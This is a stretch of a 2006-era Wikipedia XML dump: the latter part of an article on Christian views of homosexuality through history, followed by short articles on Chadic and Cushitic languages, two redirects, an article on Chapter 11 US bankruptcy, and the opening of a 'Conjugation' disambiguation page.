There are also theologians within denominations which still officially regard homosexual sex as sinful who take the opposite view. Most notably, the [[Anglican Communion]]'s leader, the [[Archbishop of Canterbury]], [[Rowan Williams]], regards same-sex relationships as moral, while most churches within the Anglican Communion do not hold this position. Many denominations have therefore experienced deep divisions over this topic, including the Anglican Communion, especially after the consecration of [[Gene Robinson]] as a [[bishop]] in the [[Episcopal Church in the United States of America]], who was the first openly [[gay bishop]] in the Communion.

==The Bible and homosexuality==
{{main|The Bible and homosexuality}}

The [[Bible]] is regarded by most Christians as inspired by God or at least recording God's relationship with humanity and includes within it certain [[moral]] teachings. Passages from the Bible commonly used in the debate over homosexuality include [[Leviticus 18]] and 21, and [[Epistle to the Romans|Romans]] 1. The arguments over these passages have centered on to what extent these passages are still relevant, whether they refer only to certain sexual acts or to homosexual orientation and how they should be interpreted, understood and applied.

==Early Christianity==
Many [[Church Fathers]] condemned homosexuality [http://www.catholic.com/library/Early_Teachings_on_Homosexuality.asp ]. In his fourth homily on Romans [http://www.newadvent.org/fathers/210204.htm ], St. [[John Chrysostom]] argued in the fourth century that homosexual intercourse is worse than murder and so degrading that it constitutes a kind of punishment in itself, and that their enjoyment actually makes it worse, &quot;for suppose I were to see a person running naked, with his body all besmeared with mire, and yet not covering himself, but exulting in it, I should not rejoice with him, but should rather bewail that he did not even perceive that he was doing shamefully.&quot; He also said:

:But nothing can there be more worthless than a man who has pandered himself. For not the soul only, but the body also of one who hath been so treated, is disgraced, and deserves to be driven out everywhere.

The [[Council of Ancyra]] (314) prescribed a penance of at least twenty years' duration for those guilty of &quot;bestial lust&quot; [http://www.newadvent.org/fathers/3802.htm]. There is dispute whether this reference is to homosexuality or bestiality, but it was recieved in the West as governing penances for sodomy [http://krotov.info/spravki/temy/g/gomosex2.html].

[[Image:Sergebac7thcentury.jpg|thumb|300px|right|Saints Sergius and Bacchus]]

Whether such condemnations are fully characteristic of early Christianity is debated. Historian [[John Boswell]] has argued that [[Adelphopoiesis]], a Christian [[rite]] for uniting two persons of the same sex as brothers or sisters, amounted to an approved outlet for romantic and indeed sexual love between couples of the same sex. He drew attention to [[Saints Sergius and Bacchus]], whose [[icon]] depicts the two standing together with [[Jesus]] between or behind them, a position he identifies with a pronubus or &quot;best man&quot;. Others have argued that the union created was more like [[Blood brother|blood brotherhood]]; and that this icon is a typical example of an icon depicting two [[saint]]s who were [[martyr]]ed together, with the usual image of [[Christ]] that appears on most religious icons, and therefore that there is no indication that it depicts a wedding. In his essay ''The Church and the Homosexual'' [http://www.fordham.edu/halsall/pwh/1979boswell.html], he attributes Christianity's denunciations of homosexuality to alleged rising intolerance in [[Europe]] in the [[12th century]], which he claims was also reflected in other ways. This theory is disputed by critics who cite the numerous doctrinal sources before the twelfth century that condemned homosexual intercourse.
{{main|History of Christianity and homosexuality}}

==The Middle Ages==
[[Image:Benozzo Gozzoli 004a.jpg|thumb|200px|left|St. Thomas Aquinas]]
The most influential theologian of the [[High Middle Ages|Medieval]] period is [[Thomas Aquinas]], regarded by Catholics as a [[Doctor of the Church]]. His [[moral theology]] contained a strong element of [[Teleology|teleological]] [[natural law]]. On his view, not all things to which a person might be inclined are &quot;natural&quot; in the morally relevant sense; rather, only the inclination to the full and proper expression of the human nature, and inclinations which align with that inclination, are natural. Contrary inclinations are perversions of the natural in the sense that they do seek a good, but in a way destructive of good. [http://www.newadvent.org/summa/209400.htm ] [http://plato.stanford.edu/entries/natural-law-ethics/ ] [http://www.nd.edu/Departments/Maritain/ti04/budz.htm ]

This view points from the natural to the Divine, because (following [[Aristotle]]) he said all people seek happiness; but it turns out that happiness can only finally be attained through the [[Beatific Vision]] [http://www.newadvent.org/summa/200308.htm ]. Therefore all sins are also against the natural law. But the natural law of many aspects of life is knowable apart from special [[revelation]] by examining the forms and purposes of those aspects. It is in this sense that Aquinas considered homosexuality unnatural, since it involves a kind of partner other than the kind to which the purpose of sexuality points. Indeed, he considered it second only to bestiality as an abuse of sexuality [http://www.newadvent.org/summa/315411.htm ] [http://www.newadvent.org/summa/315412.htm ].

[[Image:StPeterDamian.jpg|thumb|right|St. Peter Damian]]
An earlier Doctor of the Church, St. [[Pietro Damiani|Peter Damian]], wrote the ''Liber Gomorrhianus'', an extended attack on homosexuality and even masturbation [http://www.fordham.edu/halsall/source/homo-damian1.html ]. He portrayed homosexuality as a counter-rational force undermining morality, religion, and society itself [http://www.luc.edu/publications/medieval/vol11/11ch5.html ], and in need of strong suppression lest it spread even and especially among clergy [http://helpthebishops.com/StPeterDamian.htm ].

[[Hildegard of Bingen]], born seven years after the death of St. Peter Damian, reported seeing visions and recorded them in ''Scivias'' (short for ''Scito vias Domini'', &quot;Know the Ways of the Lord&quot; [http://www.pbs.org/wgbh/pages/frontline/shows/apocalypse/primary/scivias.html ]). In Book II Vision Six, she quotes God as condemning same-sex intercourse, including lesbianism; &quot;a woman who takes up devilish ways and plays a male role in coupling with another woman is most vile in My sight, and so is she who subjects herself to such a one in this evil deed&quot;.

Her younger contemporary [[Alain de Lille]] personified the theme of sexual sin in opposition to nature in ''The Complaint of Nature'' by having nature herself denounce sexual immorality and especially homosexuality as rebellion against her direction, terming it confusion between masculine and feminine and between subject and object. The ''Complaint'' also includes a striking description of the neglect of womanhood:

:Though all the beauty of man humbles itself before the fairness of woman, being always inferior to her glory; though the face of the daughter of Tyndaris is brought into being and the comeliness of Adonis and Narcissus, conquered, adores her; for all this she is scorned, although she speaks as beauty itself, though her godlike grace affirms her to be a goddess, though for her the thunderbolt would fail in the hand of Jove, and every sinew of Apollo would pause and lie inactive, though for her the free man would become a slave, and Hippolytus, to enjoy her love, would sell his very chastity. Why do so many kisses lie untouched on maiden lips, and no one wish to gain a profit from them? [http://www.fordham.edu/halsall/source/alain-sel.html ]

The tone of the denunciations often indicate a more than theoretical concern. Archbishop Ralph of Tours had his lover John installed as bishop of Orleans with agreement of both the King of [[France]] and [[Pope Urban II]] [http://andrejkoymasky.com/liv/fam/bioj2/john04.html]. In [[1395]] there was a transvestite homosexual prostitute arrested in London with some records surviving [http://www.fordham.edu/halsall/source/1395rykener.html], and the [[The Twelve Conclusions of the Lollards|Twelve Conclusions]] of the [[Lollardy|Lollards]] included the denunciation of priestly celibacy as a cause of sodomy [http://www3.calvarychapel.com/ccbcgermany/histdoc04.htm].

==Early Modernity==
[[Image:Kjv.png|thumb|200px|right|Frontispiece to the first edition of the King James Version]]

King [[James I of England]] and VI of Scotland commissioned the translation of the [[King James Version of the Bible]], also known as the Authorized Version, which is generally considered the most important Bible translation into English, having extensive influence on Anglophone Christianity, [[English literature]], and the later development of the [[English language]] itself. Historians have said, based upon an assortment of contemporary accounts, that James had male lovers throughout his life, beginning with [[Esmé Stewart, 1st Duke of Lennox]], and was not much interested in his wife. This was open enough that the saying &quot;Elizabeth was King: now James is Queen&quot; has survived [http://www.infopt.demon.co.uk/jamesi.htm]. Responding to criticism of his sexuality, James adopted a severe stance towards sodomy. His book on kingship, ''[[Basilikon Doron]]'', lists sodomy among those “horrible crimes which ye are bound in conscience never to forgive.”

An Italian text published anonymously in [[1652]] by Antonio Rocco, ''L'Alcibiade fanciullo a scola'', was about a teacher's successful attempt to persuade the much younger [[Alcibiades]] to have sex with him. Although set in ancient Greece, it includes much anacronistic material, especially pertaining to Christian arguments, and denounces the story of Sodom and Gomorrah as a fiction made up by the Hebrew elders. [http://www.glbtq.com/literature/rocco_a.html]

In France a similar text, ''[[Histoire de Dom Bougre, Portier des Chartreux]]'', written in [[1741]], mocks biblical injunctions and extols same-sex love, as does Voltaire's ''The Bible finally explained'' ([[1776]]). It was followed by the Marquis de Sade who in his ''Dialogue entre un prêtre et un moribond'' of [[1782]] denounces religion (and other morality codes) as &quot;man-made.&quot; In England the pseudo-Byronian poem &quot;Don Leon&quot; (written in the voice of Byron but of uncertain authorship, published in [[1866]]) vehemently denounced the abusive treatment inflicted on homosexuals as based on a dubious tale. 
::I grant that casuists the Bible quote,
::And tell us how God’s tardy vengeance smote
::[[Lot (Biblical)|Lot's]] native town with brimstone from the sky,
::To punish this impure delinquency,
::Unmindful that the drunkard's kiss defiled
::(Whilst yet the embers smoked), his virgin child.
::But reason doubts the Jewish prophet’s tale.

==The Modern Controversy==
{{ActiveDiscuss}}

===Prolegomenal issues=== 

There are several theological issues which have been considered extensively by Christian thinkers long before the contemporary debate about homosexuality which have become issues in the debate, or which influence the positions taken.

====The basis of theology====
Many of the debates among Christians relate to, or derive from, differences in what is taken as providing authoritative information about God and his will, or more generally which kinds of arguments should be persuasive for Christians.

In traditional Christianity Scripture is understood as the central authority, and in some traditions as the only truly definitive authority (a position called [[Sola scriptura|Sola Scriptura]]). [[Exegesis]], or the reasoned study of the text to discover its own meaning, is a central concern, especially for believers in Sola Scriptura. The classic formulation of Sola Scriptura regards &quot;good and necessary deduction&quot; from Scripture as authoritative; what these deductions might be is a frequent subject of controversy. [http://www.newadvent.org/cathen/13635b.htm] [http://www.iclnet.org/pub/resources/text/history/chicago.stm.txt] [http://www.mbrem.com/bible/sufficn.htm]

Additional authorities are accepted by other traditions. Catholics and Eastern Orthodox regard [[Sacred Tradition]] and [[Ecumenical council]]s as additional authorities, and the ordinary [[Magisterium]] is authoritative in Catholic theology [http://www.newadvent.org/cathen/15006b.htm]. [[Methodism]] derives doctrine from the [[Wesleyan Quadrilateral]], which consists of Scripture, tradition, reason, and experience. [http://wesley.nnu.edu/wesleyan_theology/theojrnl/16-20/20-01.htm] There are also differing positions about continuing revelation (see [[Cessationism]]).

[[Liberal Christianity|Liberal Christians]] consider the Bible a document of the human authors' beliefs and feelings about God at the time of its writing, which may reflect a heightened spiritual consciousness, or which may simply be primitive and wrong; liberal Christians often dismiss Biblical teachings, especially accounts of miracles such as the [[Virgin Birth]]. [http://www.hyattcarter.com/shall_the_fundamentalists_win.htm]

====Choice and free will====
The existence and nature of [[free will]] is a topic in [[philosophy of mind]] and theology. Incompatibilism is the view that determinism is at odds with free will, while compatibilism holds the two are not contradictory. Compatibilists such as [[Thomas Hobbes|Hobbes]] generally claim that a person acts freely only in the case where the person willed the act and the person could (hypothetically) have done otherwise ''if the person had decided to''; what matters, Hobbes believed, is that choices are the results of desires and preferences, and are not overridden by force. (See [[Compatibilism and incompatibilism]].) [http://plato.stanford.edu/entries/freewill/] [http://plato.stanford.edu/entries/compatibilism/]

In the history of theology, debates about the issue have happened between [[Augustine of Hippo|Augustine]] and [[Pelagius]] [http://www.newadvent.org/fathers/1510.htm], [[Martin Luther]] and [[Erasmus]], and the [[Calvinism|Calvinists]] and [[Arminianism|Arminians]] [http://www.apuritansmind.com/Creeds/ArminianArticles.htm] [http://www.reformed.org/documents/canons_of_dordt.html]. At the [[Councils of Orange]], [[Western Christianity]] officially adopted a form of compatibilist determinism known as [[original sin]], according to which the sin of [[Adam and Eve]] has corrupted the whole human race such that humans are unable to refrain from sin, yet remain accountable, and cannot even desire holiness apart from Divine intervention [http://www.reformed.org/documents/canons_of_orange.html]. However, belief in free will remains popular and many even regard free will as a basic doctrine of Christianity.

Among incompatibilists, the question of how voluntary homosexuality is, and what voluntariness might mean in this context, is a central concern in considering its morality. The [[Roman Catholic Church]] regards homosexual intercourse rather than attraction sinful, although the attraction is still considered as a temptation to sin [http://www.vatican.va/roman_curia/congregations/cfaith/documents/rc_con_cfaith_doc_19861001_homosexual-persons_en.html]. The [[ex-gay]] movement believes that homosexual orientation is also a choice, or changeable, and claims cases of people who have ceased to be homosexual [http://www.exodus.to/exodus_faqs_success.shtml#homosexual]. However, no long-term, scientific peer-reviewed study has been conducted as to the effectiveness of [[reparative therapy]]. Most [[psychology|psychologists]] do not consider sexual orientation chosen (although there are notable exceptions; see [[Robert Skinner]], for example), and many homosexuals report that they do not experience homosexuality as a choice [http://www.apa.org/pubinfo/answers.html].

===Liberal Christian views===
===Conservative Christian views===
== Positions of specific denominations ==
{{CAH}}
{{main|List of Christian denominational positions on homosexuality}}

The many [[List of Christian denominations|Christian denominations]] vary in their position on homosexuality, from seeing it as sinful, through being divided on the issue, to seeing it as moral. Among those that see it as sinful, there is further variance regarding whether it is the homosexual ''orientation'' that is immoral, or only homosexual ''acts''.

==See also==
* [[Religion and homosexuality]]
* [[History of Early Christianity and Homosexuality]]
* [[Homosexuality in the Roman Catholic priesthood]]

== References ==
*Bates, Stephen (2004).  ''A Church at War: Anglicans and Homosexuality''. [http://www.ibtauris.com I.B. Tauris]. ISBN 1850434808.
*Boswell, John (1980).  ''Christianity, social tolerance, and homosexuality: Gay people in Western Europe from the beginning of the Christian era to the fourteenth century''.  University of Chicago Press. ISBN 0226067106
*Crompton, Louis, et al.; ''Homosexuality and Civilization''  Massachusetts: The Belknap Press of Harvard University Press, 2003. ISBN 067401197X
*Gagnon, Robert A.J. (2002). ''The Bible and Homosexual Practice: Texts and Hermeneutics''.  Abingdon Press.  ISBN 0687022797
*Harvey, John F., O.S.F.S. (1996).  ''The Truth about Homosexuality: The Cry of the Faithful, introduction by Benedict J. Groeschel, C.F.R.''.  [http://www.ignatius.com Ignatius Press].  ISBN 0898705835.
*[[Daniel A. Helminiak|Helminiak, Daniel A.]] (2000). &quot;Frequently Asked Questions About Being Lesbian, Gay, Bisexual, or Transgender and Catholic&quot; Dignity USA. &lt;&lt;http://www.dignityusa.org/faq.html&gt;&gt;
*[[Hildegard of Bingen]], &quot;Scivias,&quot; Columba Hart and Jane Bishop, translators; New York: Paulist Press, 1990
*Johansson, Warren &quot;Whosoever Shall Say To His Brother, Racha.&quot; ''Studies in Homosexuality, Vol XII:  Homosexuality and Religion and Philosophy.'' Ed. Wayne Dynes &amp; Stephen Donaldson.  New York &amp; London:  Garland, 1992.  pp. 212-214
*Saletan, William (Nov. 29, 2005). [http://www.slate.com/id/2131019/nav/tap1/ &quot;Gland Inquisitor&quot;]. ''[[Slate (magazine)|Slate]]''.

== External links ==
* [http://www.soulforce.org Soulforce] Activists for gay rights in Christian denominations.
* [http://www.robgagnon.net/ RobGagnon.net] Author and seminary professor's site with many resources, arguing that homosexual behavior is sinful
* [http://cas.indwes.edu/botany_glen/collhomosexualitychurch.html Homosexuality in the Thought of the Church]
* Two-part series by Joseph P. Gudel, ''Christian Research Journal'':
# [http://www.equip.org/free/DH055-1.htm Homosexuality: Fact and Fiction]
# [http://www.equip.org/free/DH055-2.htm That which is unnatural: Homosexuality in Society, the Church, and Scripture]
* [http://www.answersingenesis.org/home/area/feedback/2004/0206.asp Christian response to a homosexual claiming biblical/Christian support for his views]
* [http://www.answersingenesis.org/Home/Area/feedback/2005/0218.asp The disingenuous and anti-Christian nature of &quot;gay rights&quot; rhetoric]
* [http://www.cathedralofhope.com/homosexuality/ Homosexuality and Christianity] does not see homosexuality as a moral sin.
* [http://www.freeingthespirit.org/Homosexuality%26Bible.htm Homosexuality and the Bible] believes the Bible does not condemn homosexuality.
* [http://www.gaychristianonline.org/ Gay Christian Online] Providing Encouragement, Support, Counseling, and Information for the Gay and Lesbian Christian.
* [http://www.religioustolerance.org/hom_bibi.htm The Bible and Homosexuality] advocates religious tolerance of homosexuality.
* [http://www.pbs.org/pov/pov2003/familyfundamentals/resources.html Christianity and Homosexuality] from ''[[PBS]]''.
* [http://www.pbs.org/wgbh/pages/frontline/shows/assault/bible/ Bible Scholars and religious leaders interpret and debate Scripture's references to homosexuality] from ''[[PBS]]''.
* [http://centurypubl.tripod.com/Understanding%20text.htm Understanding Male Homosexual Problems: An Introduction for Latter-day Saints] (A [[Mormon]] view of male homosexuality)
* [http://www.pbs.org/wnet/religionandethics/week128/perspectives.html PERSPECTIVES: Homosexuality and the Church]
* [http://www.ekd.de/english/2403_tensions_1997_homo1.html Living with Tension] a position paper on the issue &quot;Homosexuality and the Church&quot; of the Evangelical Church of Germany (in english)
* [http://www.bigissueground.com/atheistground/cauthen-homosexuality.shtml Homosexuality and Religion] (a liberal Christian perspective)
* [http://www.tanbooks.com/doct/church_sodomy.htm The Catholic Church and Homosexuality]


[[Category:Christian law|Homosexuality, Christian views of]]
[[Category:Christian philosophy|Homosexuality, Christian views of]]
[[Category:Christian viewpoints]]
[[Category:LGBT issues and religion|Christianity]]
[[Category:Religious ethics]]

[[fr:Christianisme et homosexualité]]
[[zh:同性恋和基督教]]</text>
    </revision>
  </page>
  <page>
    <title>Chadic languages</title>
    <id>7273</id>
    <revision>
      <id>40840584</id>
      <timestamp>2006-02-23T09:54:32Z</timestamp>
      <contributor>
        <ip>218.188.0.150</ip>
      </contributor>
      <comment>+zh:</comment>
      <text xml:space="preserve">The '''Chadic languages''' are a language family spoken across northern [[Nigeria]], [[Niger]], [[Chad]], [[Central African Republic]] and [[Cameroon]], belonging to the [[Afro-Asiatic_languages|Afro-Asiatic phylum]]. The most widely spoken Chadic language is [[Hausa language|Hausa]], the [[lingua franca]] of much of West [[Africa]]. They are divided into four subgroups:

*[[Biu-Mandara languages|Biu-Mandara languages]]
*[[East Chadic languages|East Chadic languages]]
*[[Masa languages|Masa languages]]
*[[West Chadic languages|West Chadic languages]]

==Bibliography==
* Lukas, Johannes (1936) 'The linguistic situation in the Lake Chad area in Central Africa.' ''Africa'', 9, 332&amp;ndash;349.
* Newman, Paul (1977) 'Chadic classification and reconstructions.' ''Afroasiatic Linguistics'' 5, 1, 1&amp;ndash;42.
* Newman, Paul (1978) 'Chado-Hamitic 'adieu': new thoughts on Chadic language classification', in Fronzaroli, Pelio (ed.), ''Atti del Secondo Congresso Internazionale di Linguistica Camito-Semitica''. Florence: Instituto de Linguistica e di Lingue Orientali, Università di Firenze, 389&amp;ndash;397.
* Newman, Paul (1980) ''The Classification of Chadic within Afroasisatic.'' Leiden: Universitaire Pers Leiden.
* Newman, Paul and Ma, Roxana (1966) 'Comparative Chadic: phonology and lexicon.' ''Journal of African Languages'', 5, 218&amp;ndash;251.
* Schuh, Russell (2003) 'Chadic overview', in M. Lionel Bender, Gabor Takacs, and David L. Appleyard (eds.), ''Selected Comparative-Historical Afrasian Linguistic Sudies in Memory of [[Igor M. Diakonoff]]'', LINCOM Europa, 55&amp;ndash;60.

{{aa-lang-stub}}

[[Category:Chadic languages|*]]
[[Category:Afro-Asiatic languages]]

[[ar:تشادية]]
[[de:Tschadische Sprachen]]
[[he:שפות צ'אדיות]]
[[sl:Čadski jeziki]]
[[sv:Tchadspråk]]
[[zh:乍得语族]]</text>
    </revision>
  </page>
  <page>
    <title>Cushitic languages</title>
    <id>7274</id>
    <revision>
      <id>40719216</id>
      <timestamp>2006-02-22T15:22:45Z</timestamp>
      <contributor>
        <username>Deeceevoice</username>
        <id>72454</id>
      </contributor>
      <comment>subhead (does this require a disambig page?)</comment>
      <text xml:space="preserve">The '''Cushitic languages''' are a subgroup of the [[Afro-Asiatic languages]], named after the Biblical figure [[Cush (Bible)|Cush]] by analogy with [[Semitic languages|Semitic]]. They are spoken in the [[Horn of Africa]]. The most prominent language is [[Oromo language|Oromo]] with about 35 million speakers, followed by [[Somali language|Somali]] (in [[Somalia]], [[Ethiopia]], [[Djibouti]], and [[Kenya]]) with about 20 million speakers, [[Sidamo language|Sidamo]] (in Ethiopia) with about 2 million speakers, and [[Afar language|Afar]] (in [[Eritrea]], Ethiopia, and Djibouti) with about 1.5 million speakers.  It is divided into the following subgroups, as per [[Joseph Greenberg]], as modified by [[Harold Fleming]]:

* [[Beja language]] (often placed outside Cushitic proper)
* [[Central Cushitic languages|Central Cushitic]] or [[Agaw languages|Agaw]] languages
* [[East Cushitic languages]] (including Oromo, Somali, Sidamo, and Afar)
* [[South Cushitic languages|South Cushitic]] or Rift languages (including [[Iraqw language|Iraqw]]-[[Alagwa language|Alagwa]], [[Burunge language|Burunge]], and arguably [[Dahalo language|Dahalo]])

[[Robert Hetzron]] has suggested that the South Cushitic languages are a subgroup of Lowland East Cushitic. Maarten Mous, in his [[24 June]] [[2005]] oration at Leiden University, has suggested more specifically that South Cushitic be linked to the Southern Lowland East Cushitic branch, together with such languages as Oromo, the Omo-Tana languages (such as Somali), and Yaaku-Dullay. 

Richard Hayward, on the other hand, breaks up East Cushitic into three well-supported families: ''Sidamic'' or Highlands, a diverse Lowlands family (with ''Afar'', ''Somalic'', and ''Oromic'' subgroups), and ''[[Dullay language|Dullay]]'' (he apparently leaves [[Yaaku language|Yaaku]] unclassified), that he believes should be considered separately when attempting to work out the internal relationships of Cushitic. This makes for a tentative four to seven branches, depending on the status of Beja, Rift, and Yaaku. 

Cushitic was traditionally seen as also including the [[Omotic languages]], then called [[West Cushitic languages|West Cushitic]], but this view has been largely abandoned; the Omotic languages are now considered an isolated branch of Afro-Asiatic.

==Cushitic peoples==

''Cushitic'' also is used to refer to the indigenous peoples of the Horn of Africa.  ''Ethiopid'' is an equivalent, though somewhat archaic, term.

{{aa-lang-stub}}

[[Category:Cushitic languages|*]]

[[ar:كوشية]]
[[de:Kuschitische Sprachen]]
[[es:Lenguas cusitas]]
[[eu:Hizkuntza Kuxitikoak]]
[[pt:Línguas cuchíticas]]
[[sv:Kushitiska språk]]</text>
    </revision>
  </page>
  <page>
    <title>Celestial dynamics</title>
    <id>7277</id>
    <revision>
      <id>15905353</id>
      <timestamp>2003-12-11T12:57:44Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Celestial mechanics]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese new year</title>
    <id>7278</id>
    <revision>
      <id>15905354</id>
      <timestamp>2003-12-23T23:30:28Z</timestamp>
      <contributor>
        <username>Lowellian</username>
        <id>29210</id>
      </contributor>
      <comment>+redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chinese New Year]]</text>
    </revision>
  </page>
  <page>
    <title>Chapter 11, Title 11, United States Code</title>
    <id>7279</id>
    <revision>
      <id>41919115</id>
      <timestamp>2006-03-02T16:49:18Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Chapter 11''' is a chapter of the Untied States [[Bankruptcy Code]] which governs the process of ''reorganization'' under the [[bankruptcy]] laws of the [[United States]].  (The Bankruptcy Code itself is Title 11 of the [[United States Code]]; therefore reorganization under bankruptcy is covered by Chapter 11 of  Title 11 of the United States Code.)  In contrast, [[Chapter 7, Title 11, United States Code|Chapter 7]] governs the process of a ''liquidation'' bankruptcy.)

==Definition==
When a troubled business decides that it is unable to service its debt or pay its creditors, it can file (or be forced by its creditors to file) with a federal bankruptcy court for bankruptcy protection under either [[Chapter 7, Title 11, United States Code|Chapter 7]] or Chapter 11.  A Chapter 7 filing means that the business intends to sell all its assets, distribute the proceeds to its creditors, and then cease operations.  A Chapter 11 filing, on the other hand, is an attempt to stay in business while a bankruptcy [[court]] supervises the &quot;reorganization&quot; of the company's [[contract|contractual]] and [[debt]] obligations.  The court can grant complete or partial relief from most of the company's debts and its contracts, so that the company can make a fresh start.  Often, if the company's debts exceed its assets, then at the completion of bankruptcy the company's owners (stockholders) all end up with nothing &amp;mdash; all their rights and interests are terminated &amp;mdash; and the company's creditors end up with ownership of the newly reorganized company, in the hopes that it will eventually succeed financially as compensation for their losses.

==Rationale==
It is thought that the value of a typical business as a going concern is far higher than the value of the sum of its parts if the business's assets were to be sold off individually. It follows that it is more economically efficient to allow a troubled company to continue running, cancel some of its debts, and give ownership of the newly reorganized company to the creditors whose debts were cancelled; in this way, jobs are saved, assets are retained, the engine of profitability which is the business is maintained rather than being dismantled, and, hopefully, the business's creditors end up with more money than they would in a Chapter 7 liquidation.

==Details==
All creditors who register with the court can be heard by the court, which is responsible for determining whether the plan of reorganization complies with the purposes of the bankruptcy law and provides for fair and equitable treatment of all parties in interest. Priority of claims is determined by Section 507 of the Bankruptcy Code, but as a general rule secured creditors, such as some banks and [[bond (finance)|bondholders]], have a higher-priority claim on the proceeds of the sale of corporate assets than unsecured creditors, such as vendors who have not been paid for products they previously delivered to the company (and who don't have any collateral for their claim).  Once a business files for Chapter 11 bankruptcy, its creditors are not allowed to attempt to collect previously incurred debts except through the bankruptcy court.  Under some circumstances, the creditors or the [[United States Trustee]] can ask the court either to convert the case to a liquidation under Chapter 7, or to appoint a trustee to manage the debtor's business. The court will grant a motion to convert to Chapter 7 or appoint a trustee if either of these actions is in the best interest of all creditors (appointment of a trustee also requires some wrongdoing or gross mismanagement on the part of existing management, and is relatively rare).

Typical debts and contracts cancelled in a Chapter 11 bankruptcy include unsecured loans and, if cancelling them would be financially favorable to the company, [[labor union|union]] contracts, supply or operating contracts (with both vendors and customers) and long-term real estate leases.

Once Chapter 11 is filed, the company may &quot;emerge&quot; from bankruptcy within a few months or within several years, depending on the size and complexity of the bankruptcy. All debtors filing Chapter 11 cases are required to propose a plan of reorganization: if the debtor fails to make a proposal, the court may consider proposals from creditors. If no plan of reorganization is approved by the court (this process is called ''confirmation'') then the court may either convert the case to a liquidation under Chapter 7 or, if in the best interests of the creditors and the estate, the case may be dismissed resulting into a return to the status quo before bankruptcy.

If the company's stock is publicly traded, a Chapter 11 filing generally causes it to be delisted from its primary stock exchange it if was listed on the [[New York Stock Exchange]], the [[American Stock Exchange]], or the [[NASDAQ]].  On the NASDAQ the identifying fifth letter &quot;Q&quot; at the end of a stock symbol indicates the company is in bankruptcy (formerly  the &quot;Q&quot; was placed in front of the pre-existing stock symbol; a celebrated example was [[Penn Central]], whose symbol was originally &quot;PC&quot; and became &quot;QPC&quot; after the company filed Chapter 11 in 1970).

Individuals may also file Chapter 11, but due to the complexity and expense of the proceeding, this option is rarely chosen by debtors who are eligible for Chapter 7 or [[Chapter 13, Title 11, United States Code|Chapter 13]] relief.

==Criticism==
Some critics have claimed that Chapter 11 bankruptcy is excessively lenient in giving a needless &quot;escape hatch' to the incompetent management of a failing company, damaging the efficiency of the economy as a whole and allowing poor managers to continue managing. It is unusual for the management of a company in Chapter 11 to be fired, as it is usually assumed that the present management team knows far more about the company and its customers than would a new set of management. These critics note that in Europe, bankruptcy law is far less lenient for failing companies.

Another efficiency criticism is that a company undergoing Chapter 11 bankruptcy is effectively operating under the &quot;protection&quot; of the court until it emerges, in some cases giving the bankrupt company a great advantage against its competitors. The most-cited current example is the [[airline industry]] in the United States; [[as of 2006]], over half the industry's [[seating capacity]] is on airlines that are in Chapter 11. &lt;ref&gt;{{cite web | title = Delta and Northwest airlines both file for bankruptcy | url = http://money.cnn.com/2005/09/14/news/fortune500/bankruptcy_airlines/ | accessdate = November 17 | accessyear = 2005 }}&lt;/ref&gt; These airlines have been able to stop making debt payments, freeing up cash to expand routes or weather a price war against competitors &amp;mdash; all with the bankruptcy court's approval.  This is especially important in the airline industry as fixed capital costs for the airplanes (and the debt on those costs) make up such a large part of the airlines' expenditures.

==Statistics==
===Largest bankruptcy===
The largest bankruptcy in history was of the US telecommunications corporation [[Worldcom|Worldcom, Inc.]], which listed over 103 billion dollars in assets as of its Chapter 11 filing in 2002; the bankruptcy was triggered by the discovery that in the previous several years, the company had fraudulently overreported its assets by an estimated 12 billion dollars.

=== 2003 Statistics ===
Bankruptcy filings by individuals:

* [[Chapter 7, Title 11, United States Code|Chapter 7]] filings:  1,156,284
* Chapter 11 filings:  959
* [[Chapter 13, Title 11, United States Code|Chapter 13]] filings:  468,562

Bankruptcy filings by businesses:

* [[Chapter 7, Title 11, United States Code|Chapter 7]] filings:  21,008
* Chapter 11 filings:  9,185
* [[Chapter 12, Title 11, United States Code|Chapter 7]] filings:  698
* [[Chapter 13, Title 11, United States Code|Chapter 13]] filings:  5,201

The total number of bankruptcies rose 7.4 percent over the previous twelve months.  These totals were for the 12-month period ending [[September 30]], [[2003]].

''Source: [http://www.uscourts.gov/Press_Releases/fy03bk.pdf November 14, 2003 News Release, Administrative Office of the U.S. Courts''.] (PDF file)

=== 2004 Statistics ===
Total bankruptcies:

* [[Chapter 7, Title 11, United States Code|Chapter 7]] filings:  1,153,865
* Chapter 11 filings:  10,368
* [[Chapter 12, Title 11, United States Code|Chapter 12]] filings:  238
* [[Chapter 13, Title 11, United States Code|Chapter 13]] filings:  454,412

Bankruptcy cases filed in federal courts fell 2.6 percent in fiscal year 2004 according to the
Administrative Office of the U.S. Courts. During the 12-month period ending September 30, 2004, 1,618,987 bankruptcies were filed, down from the 1,661,996 bankruptcy cases filed in fiscal year 2003.

''Source: [http://www.uscourts.gov/Press_Releases/fy04bk.pdf December 3, 2004 News Release, Administrative Office of the U.S. Courts''.] (PDF file)

== See also ==
* [[Chapter 7, Title 11, United States Code]]
* [[Chapter 12, Title 11, United States Code]]
* [[Chapter 13, Title 11, United States Code]]
* [[Administration#Legal use in the United Kingdom]]

== References ==
&lt;references /&gt;

== External links ==
* [http://news.bbc.co.uk/2/hi/business/4342900.stm  US changes bankruptcy protection laws], via [[BBC News]].
* [http://uscode.house.gov/download/pls/Title_11.ZIP Complete Title 11 (ZIP file)], via www.house.gov
* [http://www.bankruptcydata.com/Research/15_Largest.htm 15 Largest Corporate Bankruptcies], via www.bankruptcydata.com
* [http://www.faqfarm.com/Q/FAQ/1784 Bankruptcy FAQ question and answer forum], via www.faqfarm.com

[[Category:United States bankruptcy law]]

[[de:Chapter 11]]</text>
    </revision>
  </page>
  <page>
    <title>Conjugation</title>
    <id>7280</id>
    <revision>
      <id>41253676</id>
      <timestamp>2006-02-26T02:15:10Z</timestamp>
      <contributor>
        <username>LinguistAtLarge</username>
        <id>534915</id>
      </contributor>
      <minor />
      <comment>Added detail to the Grammatical conjugation bullet</comment>
      <text xml:space="preserve">The word '''conjugation''' has several meanings:

*[[Grammatical conjugation]] is the modification of a [[verb]] from its basic form.
